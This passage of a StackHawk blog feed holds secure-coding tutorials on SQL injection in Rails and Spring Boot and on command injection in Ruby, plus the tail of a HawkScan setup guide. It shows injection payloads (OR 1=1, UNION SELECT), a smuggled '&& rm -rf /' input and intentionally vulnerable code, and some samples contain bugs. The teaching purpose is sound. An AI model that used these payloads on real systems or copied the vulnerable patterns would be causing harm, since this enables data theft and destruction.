&lt;code&gt;usernameField&lt;/code&gt; and &lt;code&gt;passwordField&lt;/code&gt; as &lt;code&gt;scanUsername&lt;/code&gt; and &lt;code&gt;scanPassword&lt;/code&gt;. Simply put, these fields recreate our cURL command to &lt;code&gt;login/&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;&lt;b&gt;tokenExtraction:&lt;/b&gt;&lt;/p&gt;&lt;p&gt;Following the POST request to &lt;code&gt;login/&lt;/code&gt;, the API returns a token in the response. &lt;code&gt;type:&lt;/code&gt; &lt;code&gt;TOKEN_PATH&lt;/code&gt; tells the scanner we’re expecting the token to be located in a JSON payload and &lt;code&gt;value&lt;/code&gt; defines the name of the token to be extracted.&lt;/p&gt;&lt;p&gt;t&lt;b&gt;okenAuthorization:&lt;/b&gt;&lt;/p&gt;&lt;p&gt;After the scanner has extracted the token, it needs to understand how to use it for making subsequent calls to other API routes. &lt;code&gt;type&lt;/code&gt;, &lt;code&gt;value&lt;/code&gt;, &lt;code&gt;tokenType&lt;/code&gt; all describe how the scanner should use the token, similar to the cURL command we previously made to &lt;code&gt;kaakaww/&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;&lt;b&gt;testPath:&lt;/b&gt;&lt;/p&gt;&lt;p&gt;Once the token is obtained, &lt;code&gt;path&lt;/code&gt; tells HawkScan which route to use to verify authentication is working before running a scan and &lt;code&gt;success&lt;/code&gt; gives the scanner an indicator that the request to &lt;code&gt;path&lt;/code&gt; was successful.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Now that you’ve added the &lt;code&gt;stackhawk.yml&lt;/code&gt; file to your project directory, replace the value of &lt;code&gt;applicationId&lt;/code&gt; for the corresponding value in the StackHawk web platform.&lt;/p&gt;&lt;p&gt;Lastly, in your terminal, navigate to the directory where you saved the &lt;code&gt;stackhawk.yml&lt;/code&gt; file and run the docker command to initiate the scanner!&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;h3&gt;Notes&lt;/h3&gt;&lt;p&gt;cURL is a great way to orient yourself around your applications. As you become more familiar with how your applications work, configuring HawkScan quickly becomes a walk in the park. If you need more help configuring HawkScanyou can always reach out to &lt;a href=&quot;mailto:support@stackhawk.com&quot;&gt;support@stackhawk.com&lt;/a&gt;. We’re more than happy to help get you up and running!&lt;/p&gt;&lt;p&gt;Adding security testing for authenticated app routes to your development processes ensures complete visibility into any vulnerabilities your application has before they’re found in production by the wrong crowd. If you’d like more information on how to move HawkScan from your local environment to your build pipeline, learn how to use StackHawk with &lt;a href=&quot;https://www.stackhawk.com/blog/test-driven-security-with-travis-ci-and-docker-compose/&quot;&gt;Travis CI and Docker-Compose&lt;/a&gt;!&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Rails SQL Injection Guide: Examples and Prevention]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/sql-injection-prevention-rails</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;Injection attacks are at the top of the &lt;a href=&quot;https://owasp.org/www-project-top-ten/&quot;&gt;&lt;u&gt;OWASP Web Application Security Risks list&lt;/u&gt;&lt;/a&gt;. SQL injection specifically is very popular among attackers. It gives them the ability to steal all your database data as well as delete it. That&amp;#39;s why SQL injection prevention should always be taken seriously. &lt;/p&gt;&lt;p&gt;Developers sometimes assume that by using a well-established web application framework like Rails, they&amp;#39;re automatically safe. But that&amp;#39;s not always the case. In this post, you&amp;#39;ll see examples of vulnerable Ruby on Rails application code, and you&amp;#39;ll learn how to secure your application against SQL injection. &lt;/p&gt;&lt;h2&gt;What Is SQL Injection?&lt;/h2&gt;&lt;p&gt;Let&amp;#39;s start with the basics. In order to learn how to prevent SQL injection, you first need to understand how this attack works. So what does it mean to inject some SQL? (Almost) every modern application uses a database to store data. All the users&amp;#39; accounts (together with their passwords) are stored in such a database. Your application will continuously talk to the database in order to read some records, save new ones, or change existing ones. Therefore, it&amp;#39;s normal for the application to execute all kinds of SQL queries. If you, for example, open &amp;quot;my orders&amp;quot; on your favorite online shopping website, that website will contact its database to get all the orders made by your user ID in order to present them to you. So it will have to execute a SQL query similar to this one: &lt;/p&gt;&lt;p&gt;&lt;code&gt;SELECT * FROM orders WHERE user_id = &amp;#39;29361&amp;#39;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Of course, from your user account, you should only be able to see your own orders and not orders from other users. If you were able to somehow force the application to change &lt;b&gt;user_id&lt;/b&gt; in the above query, you&amp;#39;d be able to get the orders of other users. And that&amp;#39;s what we call a SQL injection attack: an ability to modify the SQL query that an application is executing against the database. If you want to learn more about the attack itself, read our post, &lt;a href=&quot;https://www.stackhawk.com/blog/what-is-sql-injection/&quot;&gt;&lt;u&gt;What is SQL Injection?&lt;/u&gt;&lt;/a&gt; Let&amp;#39;s dive in to SQL injections, specifically in the case of the Rails framework. &lt;/p&gt;&lt;h3&gt;SQL Injection vs. Rails&lt;/h3&gt;&lt;p&gt;In the case of Ruby on Rails applications, you most probably won&amp;#39;t be writing raw SQL queries at all. Rails comes with a library called &amp;quot;&lt;a href=&quot;https://guides.rubyonrails.org/active_record_basics.html&quot;&gt;&lt;u&gt;Active Records&lt;/u&gt;&lt;/a&gt;,&amp;quot; which provides simple methods that can be used to interact with a database. So are these methods vulnerable to SQL injection? Well, most of them aren&amp;#39;t, but some are. This means that you should always pay attention to how you&amp;#39;re constructing database queries in Ruby on Rails. Let&amp;#39;s see some examples first where Rails won&amp;#39;t save you from SQL injection. &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;h4&gt;delete_all&lt;/h4&gt;&lt;p&gt;We&amp;#39;ll start with the scariest one. You should never use user input directly when using the &lt;b&gt;delete_all&lt;/b&gt; method. If you pass a string to &lt;b&gt;delete_all&lt;/b&gt;, that string won&amp;#39;t be escaped at all. So, for example, if you let the user delete their account and you use the &lt;b&gt;delete_all&lt;/b&gt; method without proper input parameterization to do so, you&amp;#39;re exposing yourself to SQL injection. See this example: &lt;/p&gt;&lt;p&gt;&lt;code&gt;User.delete_all(&amp;quot;id = #{params[:user_id]}&amp;quot;)&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;With a query constructed like this, the user will be able to manipulate the &lt;b&gt;user_id&lt;/b&gt; parameter and send a malicious SQL code instead, resulting in deleting all users from your database. How&amp;#39;s that possible? Normal SQL query (when real &lt;b&gt;user_id&lt;/b&gt; is passed as a parameter) constructed from the above code would look like this: &lt;/p&gt;&lt;p&gt;&lt;code&gt;DELETE * FROM &amp;#39;users&amp;#39; WHERE (user_id = 972983)&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;However, just by changing the &lt;b&gt;user_id&lt;/b&gt; to be something like &amp;quot;&lt;b&gt;972983) OR 1=1--&lt;/b&gt;&amp;quot;, the executed query will look like this: &lt;/p&gt;&lt;p&gt;&lt;code&gt;DELETE * FROM &amp;quot;users&amp;quot; WHERE (user_id = 972983) OR 1=1--)&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;This results in the &lt;b&gt;WHERE&lt;/b&gt; clause being always true (OR 1=1), which means that all users will be deleted from your database. Scary, huh? &lt;/p&gt;&lt;h4&gt;from&lt;/h4&gt;&lt;p&gt;While developers are usually careful with &lt;b&gt;delete_all&lt;/b&gt; methods, the very commonly used method &lt;b&gt;from&lt;/b&gt; is also vulnerable to SQL injection. Imagine the following code: &lt;/p&gt;&lt;p&gt;&lt;code&gt;Users.from(params[:from]).where(managed: true)&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;You have functionality on your website that allows users to filter results by a specific parameter (for example, &amp;quot;show me book authors&amp;quot; or &amp;quot;show me book reviewers&amp;quot;). Normally you&amp;#39;d expect the value of the parameter &lt;b&gt;:from&lt;/b&gt; to be, for example, &amp;quot;authors&amp;quot; or &amp;quot;reviewers,&amp;quot; and the results should be filtered to only return users who are &amp;quot;managed&amp;quot; by &lt;b&gt;current_user&lt;/b&gt;. Doing this that way, however, you again open the possibility to manipulate the &lt;b&gt;:from&lt;/b&gt; parameter and send a completely different query than you expected. For example, your user can send the following string as a parameter: &lt;/p&gt;&lt;p&gt;&lt;code&gt;users WHERE admin = &amp;#39;t&amp;#39; OR 1=?;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Resulting in the following query to be executed against the database: &lt;/p&gt;&lt;p&gt;&lt;code&gt;SELECT &amp;quot;users&amp;quot;.* FROM users WHERE admin = &amp;#39;t&amp;#39; OR 1=?; WHERE &amp;quot;users&amp;quot;.&amp;quot;managed&amp;quot; = ?&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;&lt;/code&gt;&lt;/p&gt;&lt;h4&gt;group&lt;/h4&gt;&lt;p&gt;Another very widely used method suffers from the same issue. If the user input is used directly as a method argument, it will be vulnerable to SQL injection: &lt;/p&gt;&lt;p&gt;&lt;code&gt;Order.where(:user_id =&amp;gt; current_user.id).group(params[:group])&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;A hacker can send the &lt;b&gt;&amp;quot;group&amp;quot;&lt;/b&gt; parameter as &amp;quot;&lt;b&gt;name UNION SELECT * FROM orders&lt;/b&gt;&amp;quot;, resulting in getting orders from all users, not only their own:&lt;/p&gt;&lt;p&gt;&lt;code&gt;SELECT &amp;quot;orders&amp;quot;.* FROM &amp;quot;orders&amp;quot; WHERE &amp;quot;orders&amp;quot;.&amp;quot;user_id&amp;quot; = ? GROUP BY name UNION SELECT * FROM orders&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;&lt;b&gt;&lt;/b&gt;&lt;/code&gt;&lt;/p&gt;&lt;h2&gt;How to Prevent SQL Injection&lt;/h2&gt;&lt;p&gt;You&amp;#39;ve seen a few examples already, so let&amp;#39;s now look at how to prevent SQL injection from happening. The most important rule is to never trust the user input and never use it directly to construct the SQL query. You should always serialize or parameterize values from the user. Also, try to avoid passing strings as parameters to Active Records methods. Use arrays or hashes instead. So to fix this vulnerable code, avoid the following: &lt;/p&gt;&lt;p&gt;&lt;code&gt;User.where(&amp;quot;email = &amp;#39;#{params[:email]&amp;#39;&amp;quot;)&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;And instead of using user input directly, you should pass it as a parameter: &lt;/p&gt;&lt;p&gt;&lt;code&gt;User.where([&amp;quot;email = ?&amp;quot;, &amp;quot;#{params[:email]}&amp;quot;])&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;This approach can be applied to pretty much all methods and therefore help you avoid almost all SQL injection vulnerabilities. &lt;/p&gt;&lt;p&gt;Another countermeasure that you can apply is to use attribute-based finder methods whenever possible. By doing so, Active Records will automatically properly escape unwanted characters, which normally allow SQL injection to happen. Something like this would be just asking for an SQL Injection vulnerability:&lt;/p&gt;&lt;p&gt;&lt;code&gt;Order.find_by(&amp;quot;id = &amp;#39;#{params[:order_id]&amp;#39;&amp;quot;)&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;But also, avoid searching like here below: &lt;/p&gt;&lt;p&gt;&lt;code&gt;Order.find_by(id: params[:order_id])&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;The above query is actually SQL Injection safe, so why we don’t recommend it then? Because, as shown in the first example, using &lt;b&gt;find_by&lt;/b&gt; is not safe by default, therefore you always need to pay attention if the way you use it is secure or not.&lt;/p&gt;&lt;p&gt;So, instead of always trying to remember the secured syntax it’s easier to use the attribute-based equivalent instead:&lt;/p&gt;&lt;p&gt;&lt;code&gt;Order.find_by_id(order_id)&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;In general, you should always try to parameterize or serialize user input before using it to do anything on the back-end side. This will help you prevent not only SQL but also other types of injection attacks. Remember that SQL vulnerability is extremely dangerous as it allows an attacker to do damage on many levels. Not only deleting data in your database but also stealing private user data and passwords. Preventing SQL injection, as shown above, only requires changing a few lines of code so there&amp;#39;s no excuse for not doing that. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h2&gt;Summary&lt;/h2&gt;&lt;p&gt;As you can see, Ruby on Rails, by default, won&amp;#39;t save you from all SQL injection attack attempts. Some of the methods of its built-in library, Active Records, prevent these types of attacks automatically, but others don&amp;#39;t. However, it&amp;#39;s not that difficult to make your application secure. &lt;/p&gt;&lt;p&gt;Just remember the golden rule of never using user input directly as an argument to Active Records methods. This simple change will help you avoid data leaks or losing database data due to a malicious SQL sent by a hacker. It doesn&amp;#39;t solve all the potential attack vectors, so in order to be 100% sure, you should understand how every method is working. And remember to read our post &lt;a href=&quot;https://www.stackhawk.com/blog/what-is-sql-injection/&quot;&gt;&lt;u&gt;here&lt;/u&gt;&lt;/a&gt; that covers in more detail how SQL injection works. This will help you better understand the attack itself. And that will help you think about possible attack vectors when writing code. &lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Dawid Ziolkowski.&lt;/i&gt; &lt;a href=&quot;https://medium.com/@dawid.ziolkowski&quot;&gt;&lt;i&gt;Dawid&lt;/i&gt;&lt;/a&gt; &lt;i&gt;has 10 years of experience as a Network/System Engineer at the beginning, DevOps in between, Cloud Native Engineer recently. He’s worked for an IT outsourcing company, a research institute, telco, a hosting company, and a consultancy company, so he’s gathered a lot of knowledge from different perspectives. Nowadays he’s helping companies move to cloud and/or redesign their infrastructure for a more Cloud Native approach.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Spring SQL Injection Guide: Examples and Prevention]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/sql-injection-prevention-spring</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;h3&gt;&lt;b&gt;Introduction&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;As hackers find increasingly creative ways to attack applications, organizations must try to stay one step ahead in protecting themselves, even from the most common types of attacks and across a variety of frameworks.&lt;/p&gt;&lt;p&gt;Let’s start this post with a few definitions.&lt;/p&gt;&lt;h4&gt;&lt;b&gt;SQL Injection&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;SQL injection is a common way that hackers and users with malicious intentions attempt to hack applications. In an SQL injection, they “inject” values into a database query in order to gain visibility into the database’s structure and eventually gain access to personal data stored in the database.&lt;/p&gt;&lt;h4&gt;&lt;b&gt;Spring Boot&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;Spring Boot is part of the Spring Framework. The Spring Framework is a well-known framework for Java development, and Spring Boot is the framework’s solution for convention over configuration-based software development. This post is about preventing SQL injections in Spring Boot. Let’s now elaborate on the above.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;What Is an SQL Injection?&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;As explained in &lt;a href=&quot;https://www.stackhawk.com/blog/what-is-sql-injection/&quot;&gt;our overview of SQL injection post&lt;/a&gt;, an SQL injection is a popular attack vector on the client’s input into a software system. For instance, let’s look at a website that contains a form for the user to fill. An attacker can use the form’s content maliciously to fetch data from the database. They do this by entering specific data with control characters as input to manipulate the database to execute arbitrary code. As stated on &lt;a href=&quot;https://owasp.org/www-community/attacks/SQL_Injection&quot;&gt;OWASP&lt;/a&gt;‘s website, “A successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file present on the DBMS file system, and in some cases issue commands to the operating system.”&lt;/p&gt;&lt;h4&gt;&lt;b&gt;Why Is It Important to Mitigate SQL Injection?&lt;/b&gt;&lt;/h4&gt;&lt;blockquote&gt;&lt;p&gt;There are &lt;b&gt;many factors&lt;/b&gt; that make an SQL injection something you should take the time to mitigate. &lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;Here are a few:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Client data is the most prevalently used type of data for generating database queries.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Hackers can use this attack against any SQL database.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;A low level of expertise is needed to execute this type of attack.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;&lt;b&gt;What Is Spring Boot?&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;The Spring Framework is a very popular Java framework for developing enterprise and web applications. Originally created in 2005 by Pivotal, it is still going strong today and is the most popular Java framework on the market. Over the years, different modules were added to the core Spring container: authentication and authorization, data access, transaction management, etc. One of the most popular modules is Spring Boot. It provides preconfigured defaults and modules for the core Spring Framework. Thus abstracting the complexity of manual configuration away and allowing rapid development of applications. This “batteries included”/”ready to develop”/”no setup” approach is what made this module so popular. As of today, almost all new projects developed on Spring will be based on Spring Boot (except possibly those for large enterprises or those that need to have manual customization of the base containers).&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Java SQL Injection&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;As Spring Boot is written in Java, we need to discuss SQL injections in Java first. In general, in most cases, preventing a Java SQL injection is the same as preventing a Spring Boot SQL injection. As stated above, an SQL injection is basically an attack that incorporates special control characters into a valid input for malicious intents. We’ll give a few examples of such inputs here and three ways to process them:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;The wrong way to process (which allows an attacker to execute an SQL injection)&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;The right way to process them in Java (preventing any SQL injection attempts)&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;And the right way with Spring&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h4&gt;&lt;b&gt;Example 1&lt;/b&gt;&lt;/h4&gt;&lt;h4&gt;&lt;b&gt;The Wrong Way&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;Let’s assume we want to fetch a user’s data from the users table.&lt;/p&gt;&lt;p&gt;&lt;code&gt;public List
  getUserByUserId(String userId)
  throws SQLException {
    String sql = &amp;quot;select &amp;quot;
      + &amp;quot;first_name,last_name,username &amp;quot;
      + &amp;quot;from users where userid = &amp;#39;&amp;quot;
      + userId 
      + &amp;quot;&amp;#39;&amp;quot;;
    Connection c = dataSource.getConnection();
    ResultSet rs = c.createStatement().executeQuery(sql);
}&lt;/code&gt;&lt;/p&gt;&lt;p&gt;If we want to fetch data for a user with &lt;b&gt;id=20&lt;/b&gt;, the resulting SQL query will look like this:&lt;/p&gt;&lt;p&gt;&lt;code&gt;select first_name,last_name,username from users where userId = 20 ;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;This is a valid SQL query that will produce the expected output. However, if an attacker is able to provide the input of &lt;b&gt;20 or 1=1&lt;/b&gt; and we run the code as is, the resulting SQL query will become as follows:&lt;/p&gt;&lt;p&gt;&lt;code&gt;select first_name,last_name,username from users where userId = 20  or &amp;#39;1&amp;#39;=&amp;#39;1&amp;#39;;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Which will result in returning &lt;i&gt;all&lt;/i&gt; the users in the database to the client. This is a Boolean-based SQL injection. If we use plain JDBC as in the example above, the proper way to construct the query is with prepared statements. With prepared statements, the SQL engine caches the final query before executing it and treats any data we insert into it as plain input omitting any control characters. Note that using JPA or other ORMs without prepared statements with bound parameters won’t protect you from an SQL injection.&lt;/p&gt;&lt;h4&gt;&lt;b&gt;The Right Way&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;&lt;code&gt;public List getUserByUserId(String userId)
  throws SQLException {&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;    String sql = &amp;quot;select &amp;quot;
      + &amp;quot;first_name,last_name,username &amp;quot;
      + &amp;quot;from users where
      + userId = ?&amp;quot;;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;    Connection c = dataSource.getConnection();
    PreparedStatement p = c.prepareStatement(sql);
    p.setString(20, userId);
    ResultSet rs = p.executeQuery(sql)); 
}&lt;/code&gt;&lt;/p&gt;&lt;h4&gt;&lt;b&gt;The Spring Boot Way&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;Another right way to execute this SQL query in Spring Boot is to use the &lt;b&gt;NamedParameterJdbcTemplate&lt;/b&gt; class. This method has an additional benefit of providing more clarity by replacing the question marks in the query with meaningful names:&lt;/p&gt;&lt;p&gt;&lt;code&gt;Map&amp;lt;String, Object&amp;gt; params = new HashMap&amp;lt;&amp;gt;();
integer userId = 20;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;    String sql = &amp;quot;select &amp;quot;
      + &amp;quot;first_name,last_name,username &amp;quot;
      + &amp;quot;from users where
      + userId = :userId&amp;quot;;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;params.put(&amp;quot;userId&amp;quot;, userId);
template.update(sql,params);&lt;/code&gt;&lt;/p&gt;&lt;h4&gt;&lt;b&gt;Example 2&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;Another type of SQL injection is the Union SQL injection:&lt;/p&gt;&lt;p&gt;&lt;code&gt;https://someurl.com/user?name==&amp;quot;Bilbo&amp;#39; union all select 1, concat(username,permission)  from permissions where &amp;#39;1&amp;#39;=&amp;#39;1&amp;quot;&lt;/code&gt;&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;If we naively use &lt;b&gt;GET&lt;/b&gt; &lt;b&gt;parameters input&lt;/b&gt; in an SQL query, the attacker will be able to fetch data from the permissions table. &lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;The way to mitigate such a scenario is by using prepared statements with bound parameters as described above.&lt;/p&gt;&lt;h4&gt;&lt;b&gt;Stored Procedures&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;A different approach to sanitizing the input and preventing Spring Boot SQL injections is to use stored procedures instead of plain SQL query. The database engine sanitizes any parameter passed to a stored procedure. Here’s an example of executing the query in the first example via a stored procedure:&lt;/p&gt;&lt;p&gt;&lt;code&gt;String userId = 20
try {
  CallableStatement cs = connection.prepareCall(&amp;quot;{call sp_getUserByUserId(?)}&amp;quot;);
  cs.setInt(userId, userid);
  ResultSet results = cs.executeQuery();
  // … result set handling
} catch (SQLException se) {
  // … logging and error handling
}&lt;/code&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Conclusion&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;SQL injections are a common and high-risk attack vector. However, as we’ve seen above, it’s fairly easy to mitigate this risk with prepared statements, bound parameters, and stored procedures. As long as you’re following the best practices, hackers won’t be able to execute SQL injections in your application.&lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Alexander Fridman.&lt;/i&gt; &lt;a href=&quot;https://alexanderfo.com&quot;&gt;&lt;i&gt;Alexander&lt;/i&gt;&lt;/a&gt; &lt;i&gt;is a veteran in the software industry with over 11 years of experience. He worked his way up the corporate ladder and has held the positions of Senior Software Developer, Team Leader, Software Architect, and CTO. Alexander is experienced in frontend development and DevOps, but he specializes in backend development.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Command Injection in Ruby: Examples and Prevention]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/command-injection-ruby</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;Nowadays, websites suffer from a lot of hacking attempts. Hackers try different methods to get unauthorized access to your system. One such method is called command injection. It’s one of the most dangerous vulnerabilities that can be found on a website. It allows an attacker to execute any command on your host operating system. Possibilities are then endless—from reading the credentials for databases to deleting files or installing a backdoor. In this post, you’ll learn how a command injection works in general and how to prevent it in Ruby.  &lt;/p&gt;&lt;h3&gt;&lt;b&gt;What Is Command Injection?&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Lets explore further what command injection is with an example of how it might happen in Ruby. Sometimes there’s a need for executing commands on the underlying operating system from a Ruby application. In general, it’s not recommended to do so. From time to time, however, you may, for example, need to run a third-party application that doesn’t expose its own API or any other way of triggering it. For these use cases, Ruby provides a few methods that allow you to execute commands on the operating system. The most popular are as follows: &lt;/p&gt;&lt;p&gt;&lt;code&gt;command
exec(&amp;quot;command&amp;quot;)
system(&amp;quot;command&amp;quot;)&lt;/code&gt;&lt;/p&gt;&lt;p&gt;For example, to create a folder, you could use something like this: &lt;/p&gt;&lt;p&gt;&lt;code&gt;system(mkdir &amp;quot;#{project_name}&amp;quot;)&lt;/code&gt;&lt;/p&gt;&lt;p&gt;And while it’s recommended to avoid doing so, it doesn’t create any security vulnerability on its own. The problem arises when you pass the user input directly to such a command. For example, if you create a directory for a user-defined project, a vulnerable code could look like this: &lt;/p&gt;&lt;p&gt;&lt;code&gt;system(ls &amp;quot;#{params[:project_name]}&amp;quot;)&lt;/code&gt;&lt;/p&gt;&lt;p&gt;So what happens here, and why does it create a command injection vulnerability? As you can see, we want to show the user their own files that are created in a specific project folder. Since these files belong to the user, we want to give them the functionality of specifying which project they want to see files from. For that, you use a standard Ruby form helper, which generates an input field on your website where the user can type the project name: &lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;lt;%= f.input :project_name %&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Now, we expect the user to input a project name, but what if they input anything else? For example, what if instead of &lt;b&gt;my_project&lt;/b&gt;, they type &lt;b&gt;&amp;amp;&amp;amp; rm -rf /&lt;/b&gt; ? The command Ruby will execute will look like this: &lt;/p&gt;&lt;p&gt;&lt;code&gt;system(ls &amp;amp;&amp;amp; rm - rf /)&lt;/code&gt;&lt;/p&gt;&lt;p&gt;And all your files are gone. &lt;/p&gt;&lt;h4&gt;&lt;b&gt;Command Injection in Real Life&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;You may be thinking, “Yeah, OK, but I would never process files in such a manner.” And yes, we agree. The above example was unlikely to be seen in a real-life application. It was just an example to show you how the command injection works. However, there are more realistic scenarios, less obvious to avoid. For instance, the very popular library ImageMagick executes operating system commands under the hood. Millions of Rails applications use ImageMagick to manipulate images. Many of these allow the user to specify, for example, the size to which they want to resize the image. And here we go—there’s a command injection possibility. If you do it wrong and instead of “2000×1000” (pixels) the user inputs something else, Ruby will execute it through ImageMagick as an operating system command. Even such well-maintained libraries like &lt;a href=&quot;https://github.com/ruby/rake&quot;&gt;Rake&lt;/a&gt; can be prone to command injection vulnerability. Looking at &lt;a href=&quot;https://hackerone.com/reports/651518&quot;&gt;this CVE&lt;/a&gt;, you can see that Rake’s &lt;b&gt;FileList&lt;/b&gt; method allowed an attacker to execute malicious commands on the OS. Enough intimidation. Let’s talk about preventing command injection in Ruby. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;Preventing Command Injection&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;First things first, let us make it clear: you should avoid executing commands on the operating system directly. Usually, there are other ways of achieving the same result. When you really can’t avoid it (for example, when using ImageMagick), then these are the methods for preventing a command injection. &lt;/p&gt;&lt;h4&gt;&lt;b&gt;Parametrize the User Input&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;The first option is a Ruby best practice that can help you avoid not only command injection but some other attacks too. And it’s as simple as never using user input directly. Always sanitize and/or parameterize the user input. The same method will prevent you from a &lt;a href=&quot;https://www.stackhawk.com/blog/sql-injection-prevention-rails/&quot;&gt;SQL injection&lt;/a&gt; attack. So what does it mean to sanitize or parameterize the output? Instead of doing this: &lt;/p&gt;&lt;p&gt;&lt;code&gt;system(ls #{params[:project_name]})&lt;/code&gt;&lt;/p&gt;&lt;p&gt;You should break the whole command into separate parameters: &lt;/p&gt;&lt;p&gt;&lt;code&gt;system(&amp;quot;ls&amp;quot;, &amp;quot;params[:project_name]&amp;quot;)&lt;/code&gt;&lt;/p&gt;&lt;p&gt;As simple as that. And realistically, in this specific scenario (file and directory handling), you should use Ruby’s &lt;a href=&quot;https://ruby-doc.org/stdlib-2.6.3/libdoc/fileutils/rdoc/FileUtils.html&quot;&gt;&lt;b&gt;FileUtils&lt;/b&gt; module&lt;/a&gt; instead. The only problem with that method is that it doesn’t work when using the backticks method. This won’t work: &lt;/p&gt;&lt;p&gt;&lt;code&gt;`&amp;quot;ls&amp;quot;, &amp;quot;params[:project_name]&amp;quot;`&lt;/code&gt;&lt;/p&gt;&lt;p&gt;So if you’re using backticks, you should switch to &lt;code&gt;&lt;b&gt;system()&lt;/b&gt;&lt;/code&gt; or &lt;code&gt;&lt;b&gt;exec()&lt;/b&gt;&lt;/code&gt; methods. &lt;/p&gt;&lt;h4&gt;&lt;b&gt;Allowed Values&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;Another option that can be used on top of the previous one is to validate user input or even create allowed values. For the previous example, you could get the user’s project names first from the database, and for the &lt;code&gt;&lt;b&gt;params[:project_name]&lt;/b&gt;&lt;/code&gt;, create a list of allowed values based on that. This way, if the user inputs anything other than the actual project name, it will be rejected. When you can’t build the list of allowed values because you want to give the user more freedom, you can use regex. For example, if you expect the user to only pass the name of something, then only allow the use of alphanumeric characters. If you only expect to get a number, then only allow numbers. This way, you block the attacker from using ” &lt;b&gt;;&lt;/b&gt; ” or ” &lt;b&gt;&amp;amp;&amp;amp;&lt;/b&gt; ” which are needed to chain the commands and therefore perform a command injection attack. This method can be used to avoid the previously mentioned ImageMagick command injection vulnerability. By using the following regex rule, you only allow the user to provide a valid image size: 